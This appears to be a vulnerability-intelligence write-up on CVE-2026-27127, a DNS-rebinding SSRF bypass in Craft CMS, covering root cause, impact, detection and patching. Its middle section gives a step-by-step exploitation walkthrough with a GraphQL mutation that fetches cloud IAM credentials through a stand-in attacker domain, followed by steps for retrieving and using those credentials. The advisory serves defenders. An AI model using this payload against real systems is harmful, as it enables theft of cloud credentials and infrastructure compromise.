CVE-2026-27127: 
PHP vulnerability analysis and mitigation

CVE-2026-27127 is a Time-of-Check-Time-of-Use (TOCTOU) vulnerability in Craft CMS's GraphQL Asset mutation SSRF validation that enables DNS rebinding attacks to bypass cloud metadata IP protections. It affects Craft CMS versions 4.5.0-RC1 through 4.16.18 and 5.0.0-RC1 through 5.8.22, and represents a bypass of the prior security fix for CVE-2025-68437 (GHSA-x27p-wfqw-hfcc). The vulnerability was published on February 23, 2026, with patches released the same day (GitHub Advisory). It carries a CVSS v3.1 base score of 6.3 (Medium) and a CVSS v4.0 base score of 7.0 (High) (GitHub Advisory).

The root cause is a CWE-367 (TOCTOU Race Condition) in src/gql/resolvers/mutations/Asset.php, where SSRF validation and the actual HTTP request perform two independent DNS resolutions. During validation, gethostbyname() resolves the attacker-controlled hostname to a safe IP (e.g., 1.2.3.4), passing the blocklist check; when Guzzle subsequently makes the HTTP request, libcurl performs a second DNS resolution that the attacker's DNS server answers with a blocked metadata IP (e.g., 169.254.169.254) using a TTL of 0 to prevent caching (GitHub Advisory). Exploitation requires the attacker to control a DNS server capable of returning alternating responses and to possess GraphQL schema permissions for editing and creating assets in a target volume — permissions that may be granted to authenticated users or, in misconfigured deployments, via the Public Schema with write access (GitHub Advisory). The fix, applied in commit a4cf3fb, moves IP validation into a Guzzle ON_STATS callback that checks the primary_ip actually used by the connection, eliminating the window between check and use (Patch Commit).

Successful exploitation allows an authenticated attacker to make the Craft CMS server issue HTTP requests to otherwise-blocked internal IP addresses, including cloud instance metadata endpoints for AWS (169.254.169.254), AWS ECS (169.254.170.2), GCP, Azure, Alibaba Cloud (100.100.100.200), Oracle Cloud (192.0.0.192), and internal services (127.0.0.1, 10.x.x.x). The primary impact is high confidentiality loss — retrieved content (e.g., IAM credentials, service account tokens, managed identity tokens) is saved as a Craft asset and can be downloaded by the attacker, potentially enabling full cloud infrastructure compromise and lateral movement to other cloud resources (GitHub Advisory). Integrity and availability of the Craft CMS instance itself are not directly impacted by this vulnerability.

The Feedly threat intelligence data notes that multiple proof-of-concept references are available via the GitHub security advisory, but there is no evidence of active in-the-wild exploitation at this time (GitHub Advisory). The EPSS score is approximately 0.009% (1st percentile), indicating a low near-term exploitation probability. The vulnerability is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog. Exploitation requires medium attack complexity (attacker must control a DNS server), low privileges (authenticated GraphQL user), and specific schema permissions, limiting the attacker pool but not eliminating risk in misconfigured deployments.

1. Acquire permissions: Obtain an authenticated Craft CMS account with GraphQL schema permissions for "Edit assets" and "Create assets" in a target volume, or identify a misconfigured Public Schema with write permissions.
2. Set up a malicious DNS server: Deploy a DNS rebinding server (e.g., using DNSrebinder, Singularity, or rbndr) for an attacker-controlled domain (e.g., evil.attacker.com) configured to respond to the first DNS query with a safe public IP (e.g., 1.2.3.4, TTL=0) and subsequent queries with the target metadata IP (e.g., 169.254.169.254, TTL=0).
3. Send the GraphQL mutation: Submit a save__Asset GraphQL mutation to the Craft CMS GraphQL endpoint with the attacker's domain as the asset URL, targeting a cloud metadata path:

mutation {
  save_<VolumeName>_Asset(_file: {
    url: "http://evil.attacker.com/latest/meta-data/iam/security-credentials/"
    filename: "creds.txt"
  }) { id }
}

4. Race the TOCTOU window: The first DNS resolution (validation phase via gethostbyname()) returns the safe IP, passing the blocklist check. The second DNS resolution (Guzzle/libcurl request phase) returns 169.254.169.254, causing the server to fetch cloud metadata.
5. Retrieve exfiltrated data: Access the saved asset through Craft CMS's asset preview or download functionality to obtain the cloud provider credentials (IAM roles, service account tokens, etc.).
6. Escalate: Use the stolen credentials to authenticate to cloud provider APIs, enumerate resources, and perform lateral movement or infrastructure takeover (GitHub Advisory).

• Network: Outbound HTTP requests from the Craft CMS server to link-local addresses (169.254.169.254, 169.254.170.2, 100.100.100.200, 192.0.0.192) or loopback/RFC1918 addresses; DNS queries for attacker-controlled domains with TTL=0 responses observed in DNS logs.
• Logs: Craft CMS GraphQL access logs showing save__Asset mutations with external or suspicious url parameters pointing to attacker-controlled domains; Guzzle HTTP client logs recording requests to metadata IP ranges.
• File System: Unexpected asset files (e.g., .txt, .json) in Craft CMS volume storage directories containing cloud credential data, instance metadata JSON, or IAM role information.
• Application: New assets created in Craft CMS volumes with filenames inconsistent with normal content (e.g., creds.txt, metadata.json, poc.txt) and content resembling cloud provider API responses (GitHub Advisory).

Upgrade Craft CMS to version 4.16.19 (4.x branch) or 5.8.23 (5.x branch), which resolve the TOCTOU issue by validating the IP address actually used by the HTTP connection via a Guzzle ON_STATS callback, rather than a separate pre-request DNS lookup (Patch Commit). As interim mitigations: review and restrict GraphQL schema permissions to ensure only trusted users have asset editing/creation rights, and ensure the Public Schema does not have write permissions enabled. At the network level, implement egress filtering to block outbound requests from the CMS server to link-local and cloud metadata IP ranges, and consider DNS response validation at the application firewall to detect rebinding attempts (GitHub Advisory).

The vulnerability was reported by researchers RajChowdhury240 and rlarabee and published by the Craft CMS security team on February 23, 2026 (GitHub Advisory). A technical blog post titled "The Blocklist That Forgot About Time" was published on Dev.to, providing community-level analysis of the TOCTOU flaw and its DNS rebinding exploitation mechanism (Dev.to Post). The vulnerability also received coverage in a weekly security digest and was noted by the security community as a meaningful bypass of the prior CVE-2025-68437 fix, highlighting the difficulty of correctly implementing SSRF protections against DNS rebinding.